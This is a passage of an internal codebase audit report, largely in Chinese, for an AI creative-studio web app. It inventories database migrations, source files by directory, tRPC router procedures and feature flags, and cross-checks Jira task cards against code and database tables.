| 0013_password_reset_tokens.sql                | [v] 已登記 | 3  | CREATE TABLE password_reset_tokens; CREATE INDEX prt_userId_idx; CREATE INDEX prt_tokenHash_idx; CREATE INDEX prt_expire |
| 0014_email_verification_tokens.sql            | [v] 已登記 | 3  | CREATE TABLE email_verification_tokens; CREATE INDEX evt_userId_idx; CREATE INDEX evt_tokenHash_idx; CREATE INDEX evt_ex |
| 0015_add_email_verification_fields.sql        | [v] 已登記 | 0  | ALTER TABLE users                                                                                                        |
| 0016_login_history.sql                        | [v] 已登記 | 3  | CREATE TABLE login_history; CREATE INDEX lh_userId_idx; CREATE INDEX lh_userId_createdAt_idx; CREATE INDEX lh_email_idx  |
| 0017_agent_preferences_extend.sql             | [v] 已登記 | 1  | CREATE TABLE migration; CREATE TABLE agent_preferences; ALTER TABLE below; ALTER TABLE agent_preferences                 |
| 0018_agent_preferences_per_action.sql         | [v] 已登記 | 0  | ALTER TABLE agent_preferences                                                                                            |
| 0019_orb_scheduled_jobs.sql                   | [v] 已登記 | 0  | CREATE TABLE orb_scheduled_jobs                                                                                          |
| 0020_user_two_factor.sql                      | [v] 已登記 | 0  | ALTER TABLE users                                                                                                        |
| 0021_align_voice_engine_default.sql           | [v] 已登記 | 3  | ALTER TABLE user_ai_brain                                                                                                |
| 0022_model_training_consents.sql              | [v] 已登記 | 1  | CREATE TABLE model_training_consents; CREATE TABLE fine_tuned_model_consents                                             |
| 0023_agent_preferences_phase_d.sql            | [v] 已登記 | 0  | ALTER TABLE agent_preferences                                                                                            |
| 0024_orb_scheduled_jobs_results.sql           | [v] 已登記 | 0  | ALTER TABLE orb_scheduled_jobs                                                                                           |
| 0025_specialized_agent_memory.sql             | [v] 已登記 | 0  | CREATE TABLE specialized_agent_memory                                                                                    |
| 0027_agent_collaboration_persistence.sql      | [v] 已登記 | 4  | CREATE TABLE agent_collaboration_sessions; CREATE TABLE agent_collaboration_steps; CREATE TABLE agent_collaboration_mess |
| 0028_user_avatar_url.sql                      | [v] 已登記 | 0  | ALTER TABLE users                                                                                                        |
| 0029_orb_conversations.sql                    | [v] 已登記 | 1  | CREATE TABLE orb_conversations; CREATE TABLE orb_conversation_messages                                                   |
| 0030_studio_recipes_versions.sql              | [v] 已登記 | 1  | CREATE TABLE studio_recipes; CREATE TABLE studio_versions                                                                |
| 0031_specialized_agent_interactions.sql       | [v] 已登記 | 0  | CREATE TABLE specialized_agent_interactions                                                                              |
| 0032_agent_preferences_specialist_columns.sql | [v] 已登記 | 20 | ALTER TABLE agent_preferences                                                                                            |

| 檔名                                              | journal | 句斷 | DDL 摘要 (去重)                                                                                                                  |
|-------------------------------------------------|---------|----|------------------------------------------------------------------------------------------------------------------------------|
| 0033_add_plan_status_to_sessions.sql            | [v] 已登記 | 11 | ALTER TABLE agent_collaboration_sessions                                                                                     |
| 0033_agent_model_picks.sql                      | [v] 已登記 | 0  | CREATE TABLE agent_model_picks                                                                                               |
| 0034_project_notes_status.sql                   | [v] 已登記 | 3  | ALTER TABLE project_notes_calendar; CREATE INDEX pnc_userId_status_idx                                                       |
| 0036_schedule_calendar_extensions.sql           | [v] 已登記 | 2  | ALTER TABLE project_notes_calendar; ALTER TABLE users; CREATE UNIQUE INDEX users_icsFeedToken_idx                            |
| 0037_drive_asset_library.sql                    | [v] 已登記 | 1  | CREATE TABLE user_google_oauth_tokens; CREATE TABLE drive_asset_libraries                                                    |
| 0038_users_orb_memory_summary.sql               | [v] 已登記 | 3  | ALTER TABLE users                                                                                                            |
| 0039_orb_long_term_memory.sql                   | [v] 已登記 | 1  | CREATE TABLE orb_long_term_memories; CREATE TABLE orb_memory_associations                                                    |
| 0040_orb_intent_clarification.sql               | [v] 已登記 | 2  | CREATE TABLE orb_intent_logs; CREATE TABLE orb_clarification_history; CREATE TABLE orb_user_answer_patterns                  |
| 0041_orb_feature_usage.sql                      | [v] 已登記 | 2  | CREATE TABLE orb_feature_usage_stats; CREATE TABLE orb_feature_discovery_paths; CREATE TABLE orb_feature_recommendations     |
| 0042_orb_workflow_templates.sql                 | [v] 已登記 | 2  | CREATE TABLE orb_workflow_templates; CREATE TABLE orb_workflow_executions; CREATE TABLE orb_workflow_step_executions         |
| 0043_orb_system_monitoring.sql                  | [v] 已登記 | 2  | CREATE TABLE orb_spirit_collaboration_metrics; CREATE TABLE orb_system_health_metrics; CREATE TABLE orb_cost_attribution     |
| 0044_orb_template_ratings_and_alerts.sql        | [v] 已登記 | 1  | CREATE TABLE orb_workflow_template_ratings; CREATE TABLE orb_system_alerts                                                   |
| 0045_notes_curator_enhancements.sql             | [v] 已登記 | 7  | ALTER TABLE digital_asset_library; ALTER TABLE project_notes_calendar; CREATE INDEX dal_userId_category_idx; CREATE INDEX    |
| 0046_agent_preferences_15_spirits_phase3.sql    | [v] 已登記 | 6  | ALTER TABLE agent_preferences                                                                                                |
| 0047_featured_showcase_comments.sql             | [v] 已登記 | 1  | CREATE TABLE featured_showcase_comments; ALTER TABLE featured_showcase                                                       |
| 0048_worldbuilding_frameworks.sql               | [v] 已登記 | 0  | CREATE TABLE worldbuilding_frameworks                                                                                        |
| 0049_worldbuilding_era.sql                      | [v] 已登記 | 3  | ALTER TABLE worldbuilding_frameworks                                                                                         |
| 0050_align_brain_defaults_to_latest.sql         | [v] 已登記 | 14 | ALTER TABLE user_ai_brain                                                                                                    |
| 0051_model_wishes.sql                           | [v] 已登記 | 1  | CREATE TABLE model_wishes; CREATE TABLE model_wish_votes                                                                     |
| 0052_role_leader.sql                            | [v] 已登記 | 0  | ALTER TABLE users                                                                                                            |
| 0053_teaching_materials.sql                     | [v] 已登記 | 0  | CREATE TABLE teaching_materials                                                                                              |
| 0054_teams_and_audit.sql                        | [v] 已登記 | 3  | CREATE TABLE teams; CREATE TABLE team_memberships; CREATE TABLE teaching_material_access_log; ALTER TABLE ADD; ALTER TABLE   |
| 0055_teaching_archive_fk.sql                    | [v] 已登記 | 7  | ALTER TABLE teams; ALTER TABLE team_memberships; ALTER TABLE teaching_materials; ALTER TABLE teaching_material_access_log    |
| 0056_jobtype_teaching_ingestion.sql             | [v] 已登記 | 0  | ALTER TABLE background_jobs                                                                                                  |
| 0057_digital_asset_library_source_tracking.sql  | [v] 已登記 | 3  | ALTER TABLE digital_asset_library; CREATE INDEX dal_userId_sourceStudio_idx                                                  |
| 0058_asset_history_archival_fields.sql          | [v] 已登記 | 7  | ALTER TABLE digital_asset_library; ALTER TABLE generation_history; CREATE INDEX 缺乏; CREATE INDEX dal_archivedNull_create     |
| 0059_media_archival_fields.sql                  | [v] 已登記 | 15 | ALTER TABLE drive_asset_libraries; ALTER TABLE teaching_materials; ALTER TABLE consistency_vault; ALTER TABLE r2_storage     |
| 0060_worldbuilding_animation_extensions.sql     | [v] 已登記 | 20 | CREATE TABLE world_storyboards; ALTER TABLE worldbuilding_frameworks                                                         |
| 0061_repair_worldbuilding_columns.sql           | [v] 已登記 | 23 | ALTER TABLE worldbuilding_frameworks                                                                                         |
| 0062_worldbuilding_v4_research_sound_assets.sql | [v] 已登記 | 11 | ALTER TABLE ADD; ALTER TABLE worldbuilding_frameworks                                                                        |
| 0063_prompt_collection.sql                      | [v] 已登記 | 3  | CREATE TABLE prompt_collection; CREATE INDEX pc_userId_idx; CREATE INDEX pc_userId_visibility_idx; CREATE INDEX pc_teamId    |
| 0064_timeline_frames_and_compositions.sql       | [v] 已登記 | 1  | CREATE TABLE timeline_frames; CREATE TABLE scene_compositions                                                                |
| 0065_real_earth_information_system.sql          | [v] 已登記 | 27 | CREATE TABLE real_earth_entries; CREATE INDEX ree_category_idx; CREATE INDEX ree_taiwanFocused_idx; CREATE INDEX ree_creator |

| 檔名                                          | journal | 句斷 | DDL 摘要 (去重)                                                                                                              |
|---------------------------------------------|---------|----|--------------------------------------------------------------------------------------------------------------------------|
| 0066_teaching_materials_real_earth_refs.sql | [v] 已登記 | 3  | ALTER TABLE teaching_materials                                                                                           |
| 0067_creative_projects.sql                  | [v] 已登記 | 17 | CREATE TABLE creative_projects; CREATE INDEX IF; CREATE INDEX cp_userId_idx; CREATE INDEX cp_userId_updatedAt_idx; CREAT |
| 0067_repair_worldbuilding_v4_columns.sql    | [v] 已登記 | 11 | ALTER TABLE 直接新增; ALTER TABLE worldbuilding_frameworks                                                                   |
| 0068_creative_projects_bootstrap.sql        | [v] 已登記 | 17 | CREATE TABLE creative_projects; CREATE INDEX IF; CREATE INDEX cp_userId_idx; CREATE INDEX cp_userId_updatedAt_idx; CREAT |
| 0069_creative_projects_worldview_script.sql | [v] 已登記 | 16 | ALTER TABLE creative_projects; CREATE INDEX 且無; CREATE INDEX cp_worldviewId_idx; CREATE INDEX cp_scriptId_idx            |
| 0070_orchestration_runs.sql                 | [v] 已登記 | 19 | CREATE TABLE orchestration_runs; CREATE INDEX orun_userId_idx; CREATE INDEX orun_projectId_idx; CREATE INDEX orun_projec |
| 0071_context_packets.sql                    | [v] 已登記 | 23 | CREATE TABLE context_packets; CREATE INDEX cp_projectId_idx; CREATE INDEX cp_projectId_createdAt_idx; CREATE INDEX cp_us |
| 0072_project_data_access_rules.sql          | [v] 已登記 | 19 | CREATE TABLE project_data_access_rules; CREATE INDEX pdar_teamId_idx; CREATE INDEX pdar_projectId_idx; CREATE INDEX pdar |
| 0073_data_source_connections.sql            | [v] 已登記 | 19 | CREATE TABLE data_source_connections; CREATE INDEX dsc_ownerUserId_idx; CREATE INDEX dsc_teamId_idx; CREATE INDEX dsc_pr |
| 0074_fine_tuned_models_team.sql             | [v] 已登記 | 7  | ALTER TABLE fine_tuned_models; CREATE INDEX ftm_teamId_idx                                                               |
| 0075_prompt_assets.sql                      | [v] 已登記 | 23 | CREATE TABLE prompt_assets; ALTER TABLE prompt_assets; CREATE INDEX pa_promptId_idx; CREATE INDEX pa_assetId_idx; CREATE |
| 0076_global_audit_log.sql                   | [v] 已登記 | 19 | CREATE TABLE global_audit_log; CREATE INDEX gal_actor_createdAt_idx; CREATE INDEX gal_action_createdAt_idx; CREATE INDEX |
| 0077_cost_ledger.sql                        | [v] 已登記 | 19 | CREATE TABLE cost_ledger; CREATE INDEX cl_accountKey_status_idx; CREATE INDEX cl_ref_idx; CREATE INDEX cl_createdAt_idx; |
| 0078_resource_shares.sql                    | [v] 已登記 | 15 | CREATE TABLE resource_shares; CREATE INDEX rs_resource_idx; CREATE INDEX rs_target_idx; CREATE UNIQUE INDEX rs_resource_ |
| 0079_cost_attribution.sql                   | [v] 已登記 | 60 | CREATE TABLE 用; CREATE TABLE cost_attribution_outbox; ALTER TABLE cost_ledger; ALTER TABLE cost_aggregations; CREATE IND |
| 20260510_add_orb_memory_summary.ts          | (db/)   | 0  | ALTER TABLE statement; ALTER TABLE users                                                                                 |

# Part D — 全程式碼盤點與結構索引

## D.0 全碼盤點（所有原始碼，依目錄）

全 repo 原始碼（排除 node\_modules/dist/lock）：1738 檔、587,080 行、368 個測試檔。下表依第一/二層目錄彙總檔數與行數（483 個目錄桶，列前 50 大）。

| 目錄                                   | 檔數  | 行數      | 副檔分佈（前5）                             |
|--------------------------------------|-----|---------|--------------------------------------|
| client/src                           | 646 | 212,972 | .tsx:502, .ts:141, .css:2, .md:1     |
| server/services                      | 197 | 92,852  | .ts:196, .md:1                       |
| server/routers                       | 50  | 39,006  | .ts:50                               |
| scripts/comparison                   | 20  | 24,401  | .json:12, .py:7, .md:1               |
| drizzle/meta                         | 10  | 16,364  | .json:10                             |
| tests/unit                           | 88  | 15,859  | .ts:77, .tsx:11                      |
| server/_core                         | 48  | 13,565  | .ts:48                               |
| docs/4shell-handoff                  | 52  | 10,555  | .md:41, .tsx:5, .css:3, .js:2, .ts:1 |
| server/routers.ts                    | 1   | 9,881   | .ts:1                                |
| docs/agent                           | 14  | 6,076   | .md:14                               |
| shared/aiModelsCatalog.ts            | 1   | 5,386   | .ts:1                                |
| server/jobs                          | 21  | 5,297   | .ts:21                               |
| server/routes                        | 19  | 4,422   | .ts:19                               |
| drizzle/schema.ts                    | 1   | 4,252   | .ts:1                                |
| server/db.ts                         | 1   | 4,248   | .ts:1                                |
| shared/orb-studio-actions.ts         | 1   | 3,031   | .ts:1                                |
| shared/orb-agent-roles.ts            | 1   | 2,884   | .ts:1                                |
| server/subsystems                    | 13  | 2,255   | .ts:13                               |
| docs/BACKEND_PIPELINE.md             | 1   | 2,076   | .md:1                                |
| server/global-agent-core.test.ts     | 1   | 2,051   | .ts:1                                |
| shared/promptReferenceLibrary.ts     | 1   | 2,011   | .ts:1                                |
| shared/global-agent-tools.ts         | 1   | 1,850   | .ts:1                                |
| docs/plans                           | 5   | 1,722   | .md:5                                |
| docs/guides                          | 6   | 1,635   | .md:6                                |
| shared/global-agent-orchestrator.ts  | 1   | 1,611   | .ts:1                                |
| shared/agent-codex.ts                | 1   | 1,570   | .ts:1                                |
| shared/appRegistry.ts                | 1   | 1,548   | .ts:1                                |
| shared/global-agent-workflows.ts     | 1   | 1,536   | .ts:1                                |
| scripts/model-harness                | 4   | 1,521   | .mjs:3, .md:1                        |
| shared/agent-actions.ts              | 1   | 1,261   | .ts:1                                |
| todo.md                              | 1   | 1,203   | .md:1                                |
| docs/audits                          | 12  | 1,194   | .md:12                               |
| server/__tests__                     | 8   | 1,139   | .ts:8                                |
| .claude/skills                       | 16  | 1,114   | .md:14, .js:2                        |
| shared/qualityCoachEngine.ts         | 1   | 1,032   | .ts:1                                |
| shared/orb-clarification-options.ts  | 1   | 925     | .ts:1                                |
| shared/agent-plan-adapter.ts         | 1   | 906     | .ts:1                                |
| server/brain-auto-repair.test.ts     | 1   | 900     | .ts:1                                |
| server/uploadRoute.ts                | 1   | 882     | .ts:1                                |
| client/public                        | 2   | 849     | .js:1, .json:1                       |
| server/agent-plan-v3.test.ts         | 1   | 846     | .ts:1                                |
| server/middleware                    | 2   | 802     | .ts:2                                |
| shared/unifiedModelRegistry.ts       | 1   | 798     | .ts:1                                |
| shared/agent-plan-schema.ts          | 1   | 793     | .ts:1                                |
| shared/agent-skills.ts               | 1   | 790     | .ts:1                                |
| server/orb-task-orchestrator.test.ts | 1   | 762     | .ts:1                                |

| 目錄                                   | 檔數 | 行數  | 副檔分佈 (前5) |
|--------------------------------------|----|-----|-----------|
| docs/plan                            | 5  | 751 | .md:5     |
| docs/SITE_MAP.md                     | 1  | 711 | .md:1     |
| server/data                          | 1  | 695 | .ts:1     |
| scripts/audit-music-voice-studio.mjs | 1  | 686 | .mjs:1    |

D.0b 最大單檔 (前 40)

| 行數     | 檔案                                              |
|--------|-------------------------------------------------|
| 13,141 | scripts/comparison/schema.json                  |
| 11,902 | server/routers/learnHub.seed.ts                 |
| 9,881  | server/routers.ts                               |
| 7,903  | server/services/agentToolExecutor.ts            |
| 6,868  | client/src/pages/AnimationStudio.tsx            |
| 6,624  | scripts/comparison/jira_cards.json              |
| 6,563  | client/src/contexts/GlobalOrbChatContext.tsx    |
| 6,050  | client/src/pages/DirectorAI.tsx                 |
| 5,386  | shared/aiModelsCatalog.ts                       |
| 5,321  | client/src/pages/ImageStudio.tsx                |
| 5,190  | client/src/pages/VideoStudio.tsx                |
| 4,991  | client/src/pages/ProStudio.tsx                  |
| 4,982  | client/src/index.css                            |
| 4,883  | client/src/components/OrbGuidePanel.tsx         |
| 4,252  | drizzle/schema.ts                               |
| 4,248  | server/db.ts                                    |
| 4,160  | client/src/components/ProactiveOrbWidget.tsx    |
| 3,997  | client/src/pages/Studio.tsx                     |
| 3,684  | client/src/pages/AIModelsHub.tsx                |
| 3,500  | server/services/modelPricing.ts                 |
| 3,478  | client/src/components/home/OrbCreationStage.tsx |
| 3,363  | drizzle/meta/0008_snapshot.json                 |
| 3,272  | drizzle/meta/0007_snapshot.json                 |
| 3,189  | server/routers/brainPipeline.ts                 |
| 3,099  | client/src/pages/LoraTrainer.tsx                |
| 3,034  | server/services/brainAutoRepair.ts              |
| 3,031  | shared/orb-studio-actions.ts                    |
| 2,987  | client/src/pages/AgentChat.tsx                  |
| 2,904  | server/routers/director.ts                      |
| 2,884  | shared/orb-agent-roles.ts                       |
| 2,741  | client/src/pages/LearnHub.tsx                   |
| 2,462  | drizzle/meta/0006_snapshot.json                 |
| 2,448  | client/src/components/OrbUnifiedAssistant.tsx   |
| 2,434  | server/services/falModels.ts                    |
| 2,313  | server/services/siteKnowledge.ts                |
| 2,168  | server/_core/llm.ts                             |
| 2,167  | server/routers/proStudio.ts                     |
| 2,164  | client/src/pages/AdminPage.tsx                  |
| 2,162  | client/src/components/LoginCosmicScene.tsx      |
| 2,076  | docs/BACKEND_PIPELINE.md                        |

D.1 tRPC Router × Procedure

server/routers/ 全 37 router、合計 284 procedure。

| router 檔                    | 行數    | proc 數 | procedure 名 (節錄)                                                                                                                   |
|-----------------------------|-------|--------|------------------------------------------------------------------------------------------------------------------------------------|
| adminRouter.ts              | 8     | 1      | runAgentEval                                                                                                                       |
| agentCollaborationRouter.ts | 614   | 8      | startCollaboration, getCollaborationStatus, listUserCollaborations, cancelCollaboration, getCollaborationMessages, startAutoDiscus |
| agentModelPicksRouter.ts    | 161   | 5      | recordPick, markAcceptance, getPreferredForModality, getPreferredByModalities, getRecent                                           |
| agentPreferencesRouter.ts   | 259   | 5      | getPreferences, updatePreferences, listAvailableTools, getDistilledProfile, getRecentActivity                                      |
| aiModels.ts                 | 237   | 9      | list, getByld, researchStats, refreshOne, refreshAll, refreshStale, discoveries, runDiscovery, setSchedule                         |
| apiUsage.ts                 | 637   | 13     | list, upsert, delete, list, upsert, providerReadiness, overview, usageByProvider, usageEvents, billing, deepCost, snapshots, costA |
| auditLog.ts                 | 75    | 2      | events, export                                                                                                                     |
| brain.ts                    | 1235  | 36     | catalog, get, upsert, switchModel, pricingSummary, healthStatus, orbVoicePreview, pingProviders, monitorSummary, autoRepairConfig, |
| brainPipeline.ts            | 3190  | 4      | getGraph, getMyGraph, getSummary, runPatrol                                                                                        |
| creativeProject.ts          | 288   | 7      | list, get, getContextSummary, create, update, delete, link                                                                         |
| director.ts                 | 2905  | 0      | —                                                                                                                                  |
| externalServices.ts         | 308   | 6      | list, summary, upsert, delete, updateApiKeyStatus, seedDefaults                                                                    |
| imageStudio.ts              | 1456  | 1      | checkApiKey                                                                                                                        |
| langsmith.ts                | 948   | 11     | status, stats, listRuns, getRun, healthStats, createFeedback, listFeedback, listDatasets, addRunToDataset, modelComparison, export |
| learnHub.seed.ts            | 11903 | 0      | —                                                                                                                                  |
| learnHub.ts                 | 960   | 17     | list, getByld, categories, create, update, delete, importDocs, videoList, videoGetByld, videoCreate, videoUpdate, videoDelete, qui |
| loraTrainer.ts              | 375   | 6      | stats, replicateStatus, trainingHistory, trainWithReplicate, replicateTrainingStatus, trainingDetail                               |
| modelConsents.ts            | 213   | 4      | create, list, get, revoke                                                                                                          |
| modelWishesRouter.ts        | 215   | 6      | list, create, delete, vote, unvote, updateStatus                                                                                   |
| news.ts                     | 290   | 5      | list, getByld, pinned, categories, byTag                                                                                           |
| orbCapabilitiesRouter.ts    | 68    | 2      | list, suggestImageEditModels                                                                                                       |
| orbConversationsRouter.ts   | 535   | 7      | list, create, update, delete, getMessages, appendMessages, clearMessages                                                           |
| orbProxyRouter.ts           | 154   | 5      | getRememberedPreferences, removePreferenceValue, clearAllPreferenceMemory, persistClarificationPicks, unifiedSearch                |
| orbSchedulerRouter.ts       | 305   | 6      | scheduleJob, unscheduleJob, setEnabled, runNow, listJobs, previewCron                                                              |
| proStudio.ts                | 2168  | 3      | checkApiKey, musicModels, sfxModels                                                                                                |
| promptCollection.ts         | 588   | 9      | siteCatalog, listMine, listTeam, collect, update, delete, toggleFavorite, incrementUseCount, setVisibility                         |
| promptLibrary.ts            | 481   | 11     | list, listPublic, getByld, create, update, delete, toggleFavorite, incrementUseCount, linkedAssets, backfillAssetLinks, adminSeed  |
| rbac.ts                     | 302   | 4      | listShares, share, revokeShare, transferOwnership                                                                                  |
| realEarth.ts                | 306   | 12     | list, get, search, create, update, delete, taiwanHighlights, stats, getRelated, seedData, needsInit, getLinkedMaterials            |
| sense.ts                    | 396   | 1      | inferIntent                                                                                                                        |
| showcase.ts                 | 980   | 12     | list, getByld, trending, byModality, byAesthetics, promote, myItems, removeItem, listComments, addComment, deleteComment, stats    |
| spiritRouter.ts             | 226   | 9      | listModels, invoke, plan, run, status, control, replan, listRuns, runStep                                                          |
| teachingArchive.ts          | 539   | 14     | list, get, logView, create, triggerIngestion, update, delete, accessLog, lineages, topics, search, linkRealEarthEntry, unlinkRealE |
| teams.ts                    | 215   | 8      | create, list, get, members, addMember, removeMember, leave, delete                                                                 |
| videoStudio.ts              | 1632  | 3      | checkApiKey, modelAvailability, listCameraModes                                                                                    |
| worldStoryboard.ts          | 566   | 13     | list, listByWorld, get, create, update, delete, seedSkeleton, validate, planPipeline, updateJob, summarizeForPrompt, createFromSeg |
| worldbuilding.ts            | 797   | 19     | list, get, create, update, delete, linkableModels, linkableVoices, summarizeForPrompt, queryEntities, exportFull, importFull, list |

## D.2 Feature Flag / 旗標

| 旗標 token                                | 定義檔                 |
|-----------------------------------------|---------------------|
| ENABLE_4SHELL                           | featureFlags.ts     |
| ENABLE_4SHELL                           | projectFlags.ts     |
| ENABLE_4SHELL                           | promptVaultFlags.ts |
| ENABLE_4SHELL                           | videoFlags.ts       |
| ENABLE_ADVANCED_SEARCH                  | env.validated.ts    |
| ENABLE_AIDV_CHROME                      | featureFlags.ts     |
| ENABLE_ASSET_R2_CASCADE_DELETE          | env.validated.ts    |
| ENABLE_CLAUDE_CODE_TASKS                | env.validated.ts    |
| ENABLE_CODEX_TASKS                      | env.validated.ts    |
| ENABLE_COST_ATTRIBUTION                 | env.validated.ts    |
| ENABLE_COST_LEDGER                      | env.validated.ts    |
| ENABLE_DATA_RBAC                        | env.validated.ts    |
| ENABLE_DIRECTOR_CONSOLE                 | videoFlags.ts       |
| ENABLE_GENERATION_LOCK                  | env.validated.ts    |
| ENABLE_GLOBAL_AGENT_CAPABILITY_REGISTRY | env.validated.ts    |
| ENABLE_GLOBAL_AGENT_TELEMETRY           | env.validated.ts    |
| ENABLE_GLOBAL_AGENT_TOOL_REGISTRY       | env.validated.ts    |
| ENABLE_GLOBAL_AGENT_WORKFLOWS           | env.validated.ts    |
| ENABLE_ORB_CODE_COLLABORATION           | env.validated.ts    |
| ENABLE_ORB_COST_GUARD                   | env.validated.ts    |
| ENABLE_ORB_IDEMPOTENCY_GUARD            | env.validated.ts    |
| ENABLE_ORB_LONG_TERM_MEMORY             | env.validated.ts    |
| ENABLE_ORB_PROVIDER_ROUTER              | env.validated.ts    |
| ENABLE_ORB_QUOTA_GUARD                  | env.validated.ts    |
| ENABLE_ORB_TASK_EXECUTOR                | env.validated.ts    |
| ENABLE_ORB_TASK_MEMORY                  | env.validated.ts    |
| ENABLE_ORB_TASK_RECOVERY                | env.validated.ts    |
| ENABLE_ORB_TASK_STATE_MACHINE           | env.validated.ts    |
| ENABLE_ORB_WEB_RESEARCH                 | env.validated.ts    |
| ENABLE_PERPLEXITY                       | env.validated.ts    |
| ENABLE_PERPLEXITY_DIRECTOR_RESEARCH     | env.validated.ts    |
| ENABLE_PERPLEXITY_INSPARATION           | env.validated.ts    |
| ENABLE_PERPLEXITY_LEARN_FALLBACK        | env.validated.ts    |
| ENABLE_PERPLEXITY_NEWS_FALLBACK         | env.validated.ts    |
| ENABLE_PERPLEXITY_WEB_SEARCH            | env.validated.ts    |
| ENABLE_PROJECT_HUB                      | videoFlags.ts       |
| ENABLE_PROJECT_SSOT                     | projectFlags.ts     |
| ENABLE_PROMPT_ASSET_LINKS               | env.validated.ts    |
| ENABLE_PROMPT_VAULT                     | promptVaultFlags.ts |
| ENABLE_RAG_MEMORY                       | env.validated.ts    |
| ENABLE_RESEARCH_MODE                    | env.validated.ts    |
| ENABLE_SCHEMA_FIRST_PLANNER             | env.validated.ts    |
| ENABLE_SIGNED_URL_UPLOAD                | env.validated.ts    |
| ENABLE_SUBSYSTEM_REAL_DATA              | videoFlags.ts       |
| ENABLE_VIDEO_COCKPIT                    | videoFlags.ts       |
| ENABLE_VIDEO_GATE_KIT                   | videoFlags.ts       |
| ENABLE_VOICE_MUSIC_WORKFLOW             | videoFlags.ts       |
| ENABLE_WORLD_STYLE_INJECTION            | videoFlags.ts       |
| FEATURE_FLAGS                           | featureFlags.ts     |
| VIDEO_FLAGS                             | videoFlags.ts       |

## Part E — 三方一致性核對（卡 ↔ 碼 ↔ 庫）

### E.1 有表無卡：未被任何任務卡/文件提及的資料表

以下表在 docs/ 全文件（含 SSOT 與所有卡）中查無提及——屬『程式碼/資料庫已有、看板未追蹤』，建議補卡或標註。

| 資料表                            | drizzle var                  | 碼引用檔數 |
|--------------------------------|------------------------------|-------|
| user_google_oauth_tokens       | userGoogleOAuthTokens        | 2     |
| drive_asset_libraries          | driveAssetLibraries          | 1     |
| user_feedback_reports          | userFeedbackReports          | 2     |
| featured_showcase_comments     | featuredShowcaseComments     | 1     |
| external_service_subscriptions | externalServiceSubscriptions | 2     |
| r2_storage_snapshots           | r2StorageSnapshots           | 2     |
| cost_attribution_outbox        | costAttributionOutbox        | 1     |
| model_training_consent         | modelTrainingConsent         | 2     |
| fine_tuned_model_consent       | fineTunedModelConsent        | 1     |
| studio_recipes                 | studioRecipes                | 2     |
| studio_versions                | studioVersions               | 2     |
| model_wish_votes               | modelWishVotes               | 1     |
| team_memberships               | teamMemberships              | 2     |
| real_earth_entries             | realEarthEntries             | 1     |

### E.2 有表無碼：drizzle var 名在 server/shared/client 零引用

以下表以 var 名查無程式碼引用，可能為：僅由 raw SQL/migration 操作、待接線、或殘留。需人工確認。

| 資料表                          | drizzle var                | 文件提及數 |
|------------------------------|----------------------------|-------|
| email_verification_tokens    | emailVerificationTokens    | 4     |
| agent_collaboration_steps    | agentCollaborationSteps    | 3     |
| agent_collaboration_messages | agentCollaborationMessages | 1     |
| agent_performance_metrics    | agentPerformanceMetrics    | 4     |

### E.3 Migration ↔ Journal 一致性

[v] 全數一致：drizzle/\*.sql 全部登記於 \_journal.json，無孤兒。

### E.4 完成卡 ↔ 程式碼 覆蓋（live Jira，狀態 = 完成）

完成卡 76 張，其中 42 張有程式碼 {KEY} 行級錨點；34 張無（多屬決策卡/規劃卡/前端視覺卡，碼中未留卡號註記——非缺陷，但若需嚴格追溯可於 PR 補註卡號）。

| 卡號      | 摘要                                    | 碼錨  | 表 | PR        |
|---------|---------------------------------------|-----|---|-----------|
| AIDV-1  | 4-shell 重構 (flag-gated)               | 無碼錨 | 0 | #852,#861 |
| AIDV-2  | Wave 0 三欄導演台正式碼                       | 無碼錨 | 0 | #862      |
| AIDV-3  | 互動原型（三欄導演台）                           | 無碼錨 | 0 | —         |
| AIDV-4  | 技術簡報（落地路線圖）                           | 無碼錨 | 0 | —         |
| AIDV-5  | Project SSOT：MOCK->真 creative_project | 無碼錨 | 1 | #862,#863 |
| AIDV-6  | prompt_assets junction 表              | 無碼錨 | 2 | #864      |
| AIDV-7  | 合流 feat/4-shell-restructure -> main   | 無碼錨 | 0 | #862,#863 |
| AIDV-10 | prompt_library content 去重策略           | 有碼  | 1 | —         |
| AIDV-11 | 統一供應商門面 + Cloudflare AI Gateway       | 有碼  | 0 | —         |
| AIDV-12 | 其餘可接子系統接真實 procedure                  | 有碼  | 0 | #862      |
| AIDV-14 | 內部成本歸屬可視（依專案／成員／工作流落帳）                | 有碼  | 1 | —         |
| AIDV-15 | 上傳改 signed URL/tus（廢 base64）          | 有碼  | 0 | —         |
| AIDV-17 | migration 治理：孤兒 0071-0074 處置          | 有碼  | 0 | —         |
| AIDV-20 | presence + Redis SET NX 生成鎖           | 有碼  | 0 | —         |
| AIDV-26 | 決策紀錄：prompt↔asset=junction            | 無碼錨 | 0 | #864      |

| 卡號       | 摘要                                      | 碼錨  | 表 | PR             |
|----------|-----------------------------------------|-----|---|----------------|
| AIDV-27  | 決策紀錄：LoRA 改走 fal.ai                     | 無碼錨 | 0 | —              |
| AIDV-28  | 決策紀錄：halfvec(3072)+HNSW／自建 JWT／Supab    | 無碼錨 | 0 | —              |
| AIDV-30  | Wave 0 前端骨架/導演台                         | 無碼錨 | 0 | #852,#862      |
| AIDV-36  | W1-3 promptVault 第 6 條接縫 (adapters/pr   | 無碼錨 | 2 | —              |
| AIDV-37  | W1-4 Flow TV 放映皮                        | 無碼錨 | 1 | —              |
| AIDV-38  | W1-5 單模型遊樂場統一目錄頁                        | 無碼錨 | 0 | —              |
| AIDV-39  | W1-6 per-引擎設定面板 + 個人化面板完善               | 無碼錨 | 0 | —              |
| AIDV-40  | W1-7 工程衛生                               | 無碼錨 | 0 | —              |
| AIDV-41  | W1-8 從零引導表單細修 + 四態文案抽核                  | 無碼錨 | 0 | —              |
| AIDV-42  | W1-9 手機版導演台 (Ⓢ-H7)                      | 無碼錨 | 0 | —              |
| AIDV-56  | H1 CI 自動把關 (GitHub Actions PR gate)     | 無碼錨 | 0 | —              |
| AIDV-57  | H2 資料庫備份 + 還原演練                         | 有碼  | 0 | —              |
| AIDV-58  | H3 監控鎖門 + 錯誤追蹤                          | 有碼  | 0 | —              |
| AIDV-59  | H4 JWT 硬化                               | 有碼  | 0 | —              |
| AIDV-60  | H5 AI 閘道鎖門                              | 有碼  | 0 | —              |
| AIDV-61  | H6 部署回滾 SOP + migration 失敗行為            | 有碼  | 0 | —              |
| AIDV-64  | M1 上傳檔案驗證 (magic-byte + 移除 SVG)         | 有碼  | 0 | —              |
| AIDV-65  | M2 內容審核 fail-closed + 供應商安檢開啟           | 有碼  | 0 | —              |
| AIDV-69  | M6 RAG/教材庫注入側門安檢                        | 有碼  | 1 | —              |
